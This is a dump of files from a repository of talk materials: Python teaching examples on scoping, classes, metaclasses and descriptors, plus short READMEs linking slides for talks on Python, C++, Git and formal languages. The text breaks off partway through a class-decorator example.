false, "language": "Python", "length_bytes": 398, "license_type": "permissive", "max_line_length": 47, "num_lines": 18, "path": "/2019-03-04-Introduction-to-Python/examples/21-imports.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Import a single module.\nimport time\n\n# Import multiple modules at once.\nimport os, re, sys\n\n# Import under a different name.\nimport multiprocessing as mp\n\n# Import a single item from a module.\nfrom threading import Thread\n\n# Import multiple items from a module.\nfrom collections import namedtuple, defaultdict\n\n# Import everything from the given module.\n# (Use with caution!)\nfrom email import *\n" }, { "alpha_fraction": 0.6115702390670776, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 39.33333206176758, "blob_id": "51a30108c861a97969c101c509c52defec4ba2e1", "content_id": "fec4affea62a80eb51c5c0ea8fb700c1169d7a86", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 242, "license_type": "permissive", "max_line_length": 104, "num_lines": 6, "path": "/2021-01-14-Tips-for-Writing-in-English/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Tips for Writing in English\n===========================\n\nSupportive material for my *Tips for Writing in English* talk from 2021-01-14.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2021-01-14-Tips-for-Writing-in-English/slides.pdf)\n" }, { "alpha_fraction": 0.6373494267463684, "alphanum_fraction": 0.7228915691375732, "avg_line_length": 40.5, "blob_id": "ba768e42a8f3fef3fbddd10fb16d3ad022c047ea", "content_id": "56330d6cdd3a3e4129bce872c1f55f6789144ff8", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 830, "license_type": "permissive", "max_line_length": 100, "num_lines": 20, "path": "/2017-03-07-Introduction-to-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Introduction to Python\n======================\n\nSupportive material for my *Introduction to Python* talk from 2017-03-07.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2017-03-07-Introduction-to-Python/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2017-03-07-Introduction-to-Python/examples)\n\n**Note:** A newer version of this talk is\n[here](https://github.com/s3rvac/talks/tree/master/2018-03-05-Introduction-to-Python)\n(from 2018-03-05).\n\nRecordings (in Czech)\n---------------------\n\n* [Lecturer and screen](https://video1.fit.vutbr.cz/index.php?record_id=43628&categ_id=1407)\n* [Screen only](https://video1.fit.vutbr.cz/index.php?record_id=43629&categ_id=1407)\n\nThe recordings are from the second run (2017-03-08) because in the first run,\nthere were some technical difficulties with the screen.\n" }, { "alpha_fraction": 0.61328125, "alphanum_fraction": 0.6796875, "avg_line_length": 41.66666793823242, "blob_id": "a4c4a96bd57c8fc36956161943916a3809b6b410", "content_id": "60833077b00214ef2caf53268492b24e6ff5be69", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 256, "license_type": "permissive", "max_line_length": 106, "num_lines": 6, "path": "/2011-03-23-On-Extended-Szilard-Languages/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On (Extended) Szilard Languages\n===============================\n\nSupportive material for my *On (Extended) Szilard Languages* talk from 2011-03-23.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-03-23-On-Extended-Szilard-Languages/slides.pdf)\n" }, { "alpha_fraction": 0.6136363744735718, "alphanum_fraction": 0.6753246784210205, "avg_line_length": 43, "blob_id": "c2b4573b4212cd92a8dd524b7e9fb1fdc019e692", "content_id": "71db7ce2e43bffdc559abf2b6c538c5b0e44fe9a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 308, "license_type": "permissive", "max_line_length": 103, "num_lines": 7, "path": "/2013-03-06-Git-The-Way-of-the-Warrior/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Git: The Way of the Warrior\n===========================\n\nSupportive material for my *Git: The Way of the Warrior* talk from 2013-03-06.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-03-06-Git-The-Way-of-the-Warrior/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=1HdSnUbI2Cc) (Czech)\n" }, { "alpha_fraction": 0.37383177876472473, "alphanum_fraction": 0.4579439163208008, "avg_line_length": 6.642857074737549, "blob_id": "9b3e6c637fd332cc4772382e97f546c41d282534", "content_id": "182520a780db6cc22dd96864be0beed7ed45252a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 107, "license_type": "permissive", "max_line_length": 12, "num_lines": 14, "path": "/2020-03-02-Introduction-to-Python/examples/18-global.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "x = 1\n\ndef foo1():\n x = 2\n\nfoo1()\nprint(x) # 1\n\ndef foo2():\n global x\n x = 2\n\nfoo2()\nprint(x) # 2\n" }, { "alpha_fraction": 0.6091269850730896, "alphanum_fraction": 0.6607142686843872, "avg_line_length": 20, "blob_id": "ebb63bb53f8b9ed0e1156bbc0cb6339d72a22f35", "content_id": "b6e8eb5c63e2387f62dfd511cb6938004424e73b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 504, "license_type": "permissive", "max_line_length": 77, "num_lines": 24, "path": "/2020-03-02-Introduction-to-Python/examples/23-first-class.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class Point:\n ...\n\n# Python classes are first-class objects. For example, you can assign them to\n# variables:\nP = Point\nprint(P()) # <__main__.Point object at 0x7fc1f458c400>\n\n# Pass them to other functions:\ndef create(cls):\n return cls()\n\np = create(Point)\nprint(p) # <__main__.Point object at 0x7fc6b516d4a8>\n\n# Create them during runtime and return them:\ndef foo():\n class Point2:\n ...\n\n return Point2\n\nP = foo()\nprint(P()) # <__main__.foo.<locals>.Point2 object at 0x7f5cf0ae3ac8>\n" }, { "alpha_fraction": 0.6317829489707947, "alphanum_fraction": 0.6976743936538696, "avg_line_length": 42, "blob_id": "42b5fa5b4a6e02ee1f6c89a986a23f98550550be", "content_id": "c2f0b6d2d799c22cdbd7717e5ed7fd2e35a29d3c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 258, "license_type": "permissive", "max_line_length": 108, "num_lines": 6, "path": "/2011-04-04-Transformation-of-Formal-Models/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Transformation of Formal Models\n===============================\n\nSupportive material for my *Transformation of Formal Models* talk from 2011-04-04.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-04-04-Transformation-of-Formal-Models/slides.pdf)\n" }, { "alpha_fraction": 0.5450236797332764, "alphanum_fraction": 0.6540284156799316, "avg_line_length": 34.16666793823242, "blob_id": "a5c1e72c708cd7995cea13717d868a23ff352d98", "content_id": "132271d2a8f56336a068c5e1ab24bb05524c372f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 211, "license_type": "permissive", "max_line_length": 97, "num_lines": 6, "path": "/2012-12-04-What-Is-New-In-Cpp11/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "What's New in C++11\n===================\n\nSupportive material for my *What's New in C++11* talk from 2012-12-04.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-12-04-What-Is-New-In-Cpp11/slides.pdf)\n" }, { "alpha_fraction": 0.46984925866127014, "alphanum_fraction": 0.47989949584007263, "avg_line_length": 27.428571701049805, "blob_id": "9b3d4d3a14f4c34d61f15dd432c0a3caddb0f9ae", "content_id": "558435154f8492b44f57eace000b406ad36ec3b2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 398, "license_type": "permissive", "max_line_length": 137, "num_lines": 14, "path": "/2020-03-26-Python-Object-Model/examples/underlying-storage.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# The underlying storage is a dict.\n\nclass X:\n def __init__(self, a):\n self.a = a\n\n def foo(self):\n return 42\n\nprint(X.__dict__) # {'__module__': '__main__', '__init__': <...>, 'foo': <...>, '__dict__': <...>, '__weakref__': <...>, '__doc__': None}\nprint(type(X.__dict__)) # <class 'mappingproxy'> (because it also looks at base classes)\n\nx = X(1)\nprint(x.__dict__) # {'a': 1}\n" }, { "alpha_fraction": 0.625, "alphanum_fraction": 0.6928571462631226, "avg_line_length": 39, "blob_id": "01f710b3ce798a21a4a3423aa163d5d8cd7d3815", "content_id": "88bbc828b070e9ac960b9ed22d59d68949891468", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 280, "license_type": "permissive", "max_line_length": 96, "num_lines": 7, "path": "/2013-10-29-Optimizing-Cpp-Code/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Optimizing C++ Code\n===================\n\nSupportive material for my *Optimizing C++ Code* talk from 2013-10-29.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-10-29-Optimizing-Cpp-Code/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=Pve0iscmlY4) (in Czech)\n" }, { "alpha_fraction": 0.5864979028701782, "alphanum_fraction": 0.5907173156738281, "avg_line_length": 20.545454025268555, "blob_id": "3563abc961158b7c7cfdc2ad89bd8b7c9b4e10c8", "content_id": "17cde72743be46fffee3a331ff9585713310b4ce", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 474, "license_type": "permissive", "max_line_length": 71, "num_lines": 22, "path": "/2020-03-26-Python-Object-Model/examples/metaclass.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Metaclasses.\n\n# Here is an example of a metaclass that prevents multiple inheritance.\n# Based on https://www.youtube.com/watch?v=sPiWg5jSoZI.\n\nclass Java(type):\n def __new__(cls, name, bases, dict):\n if len(bases) > 1:\n raise TypeError('No way!')\n return super().__new__(cls, name, bases, dict)\n\nclass Base(metaclass=Java):\n ...\n\nclass A(Base): # OK\n ...\n\nclass B(Base): # OK\n ...\n\nclass C(A, B): # Raises TypeError('No way!')\n ...\n" }, { "alpha_fraction": 0.6269662976264954, "alphanum_fraction": 0.6449438333511353, "avg_line_length": 23.72222137451172, "blob_id": "7a5bd6f6d50e909a09ccc0564e07ef2b97695369", "content_id": "b6a60fef20323612b766f8f4c57a454f50db9ce7", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 445, "license_type": "permissive", "max_line_length": 77, "num_lines": 18, "path": "/2019-03-04-Introduction-to-Python/examples/24-interfaces.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Compare this with 24-protocols.py.\n\nimport collections.abc\n\nclass MySequence(collections.abc.Sequence):\n def __init__(self, content):\n self.content = content\n\n # Try commenting-out the following method to see what the program prints.\n def __len__(self):\n return len(self.content)\n\n def __getitem__(self, index):\n return self.content[index]\n\ns = MySequence([1, 2, 3])\nfor x in s:\n print(x) # Prints 1, 2, 3.\n" }, { "alpha_fraction": 0.5592592358589172, "alphanum_fraction": 0.6185185313224792, "avg_line_length": 16.419355392456055, "blob_id": "1af0dde44b28c69b3125b9d445b18952d8456fdf", "content_id": "b115fc45cf8e27470adc511a121ec4fd1b216c10", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 540, "license_type": "permissive", "max_line_length": 41, "num_lines": 31, "path": "/2020-03-26-Python-Object-Model/examples/basics.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# The basics.\n\nimport math\n\nclass GeometricObject:\n ...\n\nclass Circle(GeometricObject):\n \"\"\"A representation of a circle.\"\"\"\n\n def __init__(self, radius):\n self.radius = radius\n\n def area(self):\n return math.pi * self.radius ** 2\n\n @property\n def diameter(self):\n return 2 * self.radius\n\n @classmethod\n def unit_circle(cls):\n return cls(1)\n\nc1 = Circle(10)\nprint(c1.radius) # 10\nprint(c1.area()) # 314.1592653589793\nprint(c1.diameter) # 20\n\nc2 = Circle.unit_circle()\nprint(c2.radius) # 1\n" }, { "alpha_fraction": 0.5129533410072327, "alphanum_fraction": 0.5932642221450806, "avg_line_length": 26.571428298950195, "blob_id": "05cea00f02c089937b7e85af0e43036a0f9d31ac", "content_id": "37d06ff918e789095b36e024213e1c1002c7a804", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 386, "license_type": "permissive", "max_line_length": 87, "num_lines": 14, "path": "/2020-03-02-Introduction-to-Python/examples/27-text-binary-numbers.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Text mode:\nwith open('25.txt', 'w') as f:\n print(f.write(str(25))) # 2 bytes written\n\nwith open('25.txt', 'r') as f:\n print(f.read()) # 25\n\n# Binary mode:\nimport struct\nwith open('25.bin', 'wb') as f:\n print(f.write(struct.pack('i', 25))) # 4 bytes written (32b int, native endianness)\n\nwith open('25.bin', 'rb') as f:\n print(f.read()) # b'\\x19\\x00\\x00\\x00' # 0x19 == 25\n" }, { "alpha_fraction": 0.6393939256668091, "alphanum_fraction": 0.6909090876579285, "avg_line_length": 54, "blob_id": "f72326bba5dfc635c973ad82f5c00f49f9e946c6", "content_id": "ec7646a0ce2d0e374948be57bc3ea4582290f47a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 330, "license_type": "permissive", "max_line_length": 126, "num_lines": 6, "path": "/2009-10-07-Converting-Finite-Automata-to-Regular-Expressions/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Converting Finite Automata to Regular Expressions\n=================================================\n\nSupportive material for my *Converting Finite Automata to Regular Expressions* talk from 2009-10-07.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2009-10-07-Converting-Finite-Automata-to-Regular-Expressions/slides.pdf)\n" }, { "alpha_fraction": 0.5636895895004272, "alphanum_fraction": 0.60322105884552, "avg_line_length": 23.39285659790039, "blob_id": "8d23b9ba50b06abc22aca79a30272baa4963f92d", "content_id": "6239f3068c1b305829e7a5cf5f0b7c7b14850fef", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 683, "license_type": "permissive", "max_line_length": 54, "num_lines": 28, "path": "/2020-03-02-Introduction-to-Python/examples/30-walrus-operator.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# An example of using the \"walrus operator\" :=.\n# Requires Python 3.8 or newer.\n\ndef process(block):\n print(len(block))\n\nwith open('30-walrus-operator.txt', 'r') as f:\n while block := f.read(256):\n process(block)\n\n# In Python 3.7 or lower, you could write the code as:\n#\n# 1) This one duplicates the `f.read(256)` call:\nprint()\nwith open('30-walrus-operator.txt', 'r') as f:\n block = f.read(256)\n while block:\n process(block)\n block = f.read(256)\n\n# 2) This one uses a `while True` loop:\nprint()\nwith open('30-walrus-operator.txt', 'r') as f:\n while True:\n block = f.read(256)\n if not block:\n break\n process(block)\n" }, { "alpha_fraction": 0.364705890417099, "alphanum_fraction": 0.6235294342041016, "avg_line_length": 20.25, "blob_id": "46a1cdeacd122d9451c33d8955560f6dd0cce7ee", "content_id": "8987d870c773f31ef23c03453be03be74af6301f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 85, "license_type": "permissive", "max_line_length": 33, "num_lines": 4, "path": "/2017-03-07-Introduction-to-Python/examples/09-complex.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "a = 2 + 3j\nprint(a.real) # 2.0\nprint(a.imag) # 3.0\nprint(abs(a)) # 3.605551275463989\n" }, { "alpha_fraction": 0.5050251483917236, "alphanum_fraction": 0.5150753855705261, "avg_line_length": 17.952381134033203, "blob_id": "428a3c52be0a25e9c227dbdd96ac3c8e70dcb84c", "content_id": "049cf9029f100e8325c6b3428cd5739a9fd389e2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 398, "license_type": "permissive", "max_line_length": 76, "num_lines": 21, "path": "/2019-03-04-Introduction-to-Python/examples/24-slots.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "import sys\n\nclass A:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\nclass B:\n __slots__ = ('x', 'y')\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\na = A(1, 2)\nassert '__dict__' in dir(a)\n\n# 'b' will have a lower memory footprint and provide faster attribute access\n# than 'a' due to the use of __slots__:\nb = B(1, 2)\nassert '__dict__' not in dir(b)\n" }, { "alpha_fraction": 0.5419847369194031, "alphanum_fraction": 0.5419847369194031, "avg_line_length": 16.46666717529297, "blob_id": "95472337b1ffff8d04988bb60c719efb11a9f985", "content_id": "7405d946e0afda7ee37083afd3e422e5e6c722a4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 262, "license_type": "permissive", "max_line_length": 64, "num_lines": 15, "path": "/2020-03-26-Python-Object-Model/examples/creating-class-manually.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Creating a class manually via type().\n\nclass A:\n def foo(self):\n print('A.foo()')\n\na = A()\na.foo() # A.foo()\n\n# How to create A without the 'class' keyword:\n\nA = type('A', (object,), {'foo': lambda self: print('A.foo()')})\n\na = A()\na.foo() # A.foo()\n" }, { "alpha_fraction": 0.6294536590576172, "alphanum_fraction": 0.6698337197303772, "avg_line_length": 69.16666412353516, "blob_id": "a3d28843d5bb2df081883150a3cc3beabfca3554", "content_id": "fe499e3cf1818ed0f89dae0969a4d2c280a84a39", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 421, "license_type": "permissive", "max_line_length": 148, "num_lines": 6, "path": "/2013-04-25-One-Sided-Random-Context-Grammars-Established-Results-and-Open-Problems/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "One-Sided Random Context Grammars: Established Results and Open Problems\n========================================================================\n\nSupportive material for my *One-Sided Random Context Grammars: Established Results and Open Problems* talk from 2013-04-25.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-04-25-One-Sided-Random-Context-Grammars-Established-Results-and-Open-Problems/slides.pdf)\n" }, { "alpha_fraction": 0.5027173757553101, "alphanum_fraction": 0.5135869383811951, "avg_line_length": 17.399999618530273, "blob_id": "17e3316eb75f5ff2310a8ce69eeda27938c8b90b", "content_id": "0e6ae967cedb133883d7bd07493e363a3dabec6f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 368, "license_type": "permissive", "max_line_length": 54, "num_lines": 20, "path": "/2021-03-08-Introduction-to-Python/examples/24-instance-creation.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# For a full version that also covers metaclasses, see\n# 24-instance-creation-meta.py.\n\nclass A:\n def __new__(cls, x):\n print('A.__new__()')\n return object.__new__(cls)\n\n def __init__(self, x):\n print('A.__init__()')\n self.x = x\n\n# The following instantiation prints:\n#\n# A.__new__()\n# A.__init__()\n#\na = A(1)\n\nprint(a.x) # 1\n" }, { "alpha_fraction": 0.530145525932312, "alphanum_fraction": 0.5384615659713745, "avg_line_length": 13.57575798034668, "blob_id": "4a810659a49394e6b940bb8f2e9e9e6d3bd07a7f", "content_id": "0896f43d7419b4bba9d0d5b5667ebfbe58174271", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 481, "license_type": "permissive", "max_line_length": 45, "num_lines": 33, "path": "/2020-03-26-Python-Object-Model/examples/hooking-into-attribute-access.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Hooking into attribute access.\n\nclass X:\n a = 5\n\n def __init__(self, b):\n self.b = b\n\n def __getattr__(self, name):\n print('__getattr__', name)\n return name\n\n def __getattribute__(self, name):\n print('__getattribute__', name)\n return super().__getattribute__(name)\n\nx = X(1)\n\n# Prints:\n# __getattribute__ a\n# 5\nprint(x.a)\n\n# Prints:\n# __getattribute__ b\n# 1\nprint(x.b)\n\n# Prints:\n# __getattribute__ c\n# __getattr__ c\n# c\nprint(x.c)\n" }, { "alpha_fraction": 0.6223776340484619, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 46.66666793823242, "blob_id": "5b42570960b9bd67ba572506d3723474cf78d4f1", "content_id": "387d3353e64457a816f1cb79a086db3c948d70fa", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 286, "license_type": "permissive", "max_line_length": 115, "num_lines": 6, "path": "/2010-06-24-On-Erasing-Rules-in-Regulated-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On Erasing Rules in Regulated Grammars\n======================================\n\nSupportive material for my *On Erasing Rules in Regulated Grammars* talk from 2010-06-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2010-06-24-On-Erasing-Rules-in-Regulated-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.6283987760543823, "alphanum_fraction": 0.6314199566841125, "avg_line_length": 26.58333396911621, "blob_id": "43b7db090b104f95554ae7079b0c28379a3c6c39", "content_id": "6d06683b0ab88e6f2fd160146d9962e6723579ae", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 331, "license_type": "permissive", "max_line_length": 79, "num_lines": 12, "path": "/2017-03-07-Introduction-to-Python/demos/emails.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Note: This script is just an illustration. It contains a very simple solution\n# to the problem, which is far from perfect.\n\nimport sys\nimport re\n\nemails = []\nwith open(sys.argv[1], 'r') as f:\n for line in f:\n for email in re.findall(r'[\\w.-]+@[\\w.-]+', line):\n emails.append(email.rstrip('.'))\nprint(emails)\n" }, { "alpha_fraction": 0.7467249035835266, "alphanum_fraction": 0.7554585337638855, "avg_line_length": 31.714284896850586, "blob_id": "413e34814e49da75a01b19d67e5409d872047484", "content_id": "4c61a2be8cac97cef3d20d8632ef9f527e1bda05", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 229, "license_type": "permissive", "max_line_length": 77, "num_lines": 7, "path": "/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Talks\n=====\n\nSupportive material for some of [my talks](https://petrzemek.net/talks/).\n\nUnless otherwise stated, the source code is published under the [BSD 3-clause\nlicense](https://github.com/s3rvac/talks/blob/master/LICENSE).\n" }, { "alpha_fraction": 0.6525974273681641, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 43, "blob_id": "8f181d9af06c62d617bfd96fdd0cddbb4dc9b9e0", "content_id": "122c43852e3c7b983acc486c632507739586e802", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 308, "license_type": "permissive", "max_line_length": 100, "num_lines": 7, "path": "/2012-12-10-Jumping-Finite-Automata/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Jumping Finite Automata\n=======================\n\nSupportive material for a joint talk with Alexander Meduna named *Jumping Finite Automata* from 2012-12-10.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-12-10-Jumping-Finite-Automata/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=md13CpcjbYc)\n" }, { "alpha_fraction": 0.6214953064918518, "alphanum_fraction": 0.6401869058609009, "avg_line_length": 24.4761905670166, "blob_id": "4b5d9333f57c05cd8aba83916b1039d65b4dcc71", "content_id": "1fb113c2ec5cc53822cdae2576e9675fa0c8e4b6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1070, "license_type": "permissive", "max_line_length": 79, "num_lines": 42, "path": "/2020-03-26-Python-Object-Model/examples/descriptors-methods.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Descriptors: The mechanism behind methods, properties, and static/class\n# methods.\n\n# Here is an example of manually creating the add() method from\n# methods-vs-functions.py:\n\nimport types\n\nclass Method:\n def __init__(self, func):\n self.func = func\n\n def __get__(self, instance, owner=None):\n if instance is None:\n return self\n return types.MethodType(self.func, instance)\n\n def __call__(self, *args, **kwargs):\n return self.func(*args, **kwargs)\n\n def __repr__(self):\n return repr(self.func)\n\ndef X_add(self, other):\n return self.x + other.x\n\nclass X:\n def __init__(self, x):\n self.x = x\n\n add = Method(X_add)\n\na = X(1)\nb = X(2)\nprint(a.add(b)) # 3\nprint(X.add(a, b)) # 3\nprint(X.add) # <function X_add at 0x7f379c37aee0>\nprint(a.add) # <bound method X_add of <__main__.X object at 0x7f379c3e7fa0>>\n\n# (In reality, functions are descriptors by themselves, so it suffices to just\n# create a function in a class and it will automatically be able to bind `self`\n# and create `types.MethodType`.)\n" }, { "alpha_fraction": 0.3177083432674408, "alphanum_fraction": 0.3697916567325592, "avg_line_length": 9.666666984558105, "blob_id": "232b0a31bef0d0241fe78d04bc4e5357367d8291", "content_id": "9a987da1d8114ee50c4e68b6c382336e0b547df3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 192, "license_type": "permissive", "max_line_length": 18, "num_lines": 18, "path": "/2021-03-08-Introduction-to-Python/examples/18-nonlocal.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def bar1():\n x = 1\n def foo():\n x = 2\n foo()\n print(x)\n\nbar1() # 1\n\ndef bar1():\n x = 1\n def foo():\n nonlocal x\n x = 2\n foo()\n print(x)\n\nbar1() # 2\n" }, { "alpha_fraction": 0.636929452419281, "alphanum_fraction": 0.6721991896629333, "avg_line_length": 79.33333587646484, "blob_id": "6413a6232ed7c7ee103e21a9e79243eafc6950cc", "content_id": "4e079884f5cf5e654821e2eae1f95d07e0601861", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 482, "license_type": "permissive", "max_line_length": 164, "num_lines": 6, "path": "/2008-04-24-An-Infinite-Hierarchy-of-Language-Families-Resulting-from-n-limited-Programmed-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "An Infinite Hierarchy of Language Families Resulting from n-limited Programmed Grammars\n=======================================================================================\n\nSupportive material for my *An Infinite Hierarchy of Language Families Resulting from n-limited Programmed Grammars* talk from 2008-04-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2008-04-24-An-Infinite-Hierarchy-of-Language-Families-Resulting-from-n-limited-Programmed-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.4728972017765045, "alphanum_fraction": 0.5252336263656616, "avg_line_length": 12.04878044128418, "blob_id": "188779c2803c7192819e63e184e5bf3e7cc7b493", "content_id": "fbc39d23e6238201be038129151d969327dc2979", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "permissive", "max_line_length": 78, "num_lines": 41, "path": "/2019-03-04-Introduction-to-Python/examples/18-scoping.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def foo1():\n x = 1\n print(x)\n\nfoo1() # 1\n\ndef foo2():\n print(x)\n\nx = 2\nfoo2() # 2\n\ndef bar():\n x = 3\n def foo3():\n print(x)\n foo3()\n\nbar() # 3\n\ndef foo4():\n print(id)\n\nfoo4() # <built-in function id>\n\n# if, for, etc. do not introduce a new scope:\ndef foo5(i):\n if i > 2:\n x = 5\n print(x)\n\nfoo5(4) # 5\n# foo5(2) # UnboundLocalError: local variable 'x' referenced before assignment\n\n# This can lead to unexpected behavior:\ndef foo6():\n for k in [1, 2, 3]:\n ...\n print(k)\n\nfoo6() # 3\n" }, { "alpha_fraction": 0.6241379380226135, "alphanum_fraction": 0.682758629322052, "avg_line_length": 47.33333206176758, "blob_id": "8e764d30ae974b46a709af8f45dffcfb8ed91881", "content_id": "525606ba5178a0178d0b60e9ae6423508b1cd22f", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 290, "license_type": "permissive", "max_line_length": 116, "num_lines": 6, "path": "/2012-09-24-What-are-Formal-Languages-and-Compilers/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "What are Formal Languages and Compilers\n=======================================\n\nSupportive material for my *What are Formal Languages and Compilers* talk from 2012-09-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-09-24-What-are-Formal-Languages-and-Compilers/slides.pdf)\n" }, { "alpha_fraction": 0.5855855941772461, "alphanum_fraction": 0.6066066026687622, "avg_line_length": 21.965517044067383, "blob_id": "b462ff35a51cbf1c5a6fa70c5ced0c216687bfe4", "content_id": "4e4666861c7f550be5cc9fea322a1649af6de210", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 666, "license_type": "permissive", "max_line_length": 64, "num_lines": 29, "path": "/2020-03-26-Python-Object-Model/examples/class-decorators.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# An example of a class decorator.\n\nimport functools\nimport inspect\n\ndef debug_func(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n print('DEBUG:', func.__name__, args, kwargs)\n return func(*args, **kwargs)\n return wrapper\n\ndef debug_methods(cls):\n for key, value in vars(cls).items():\n if 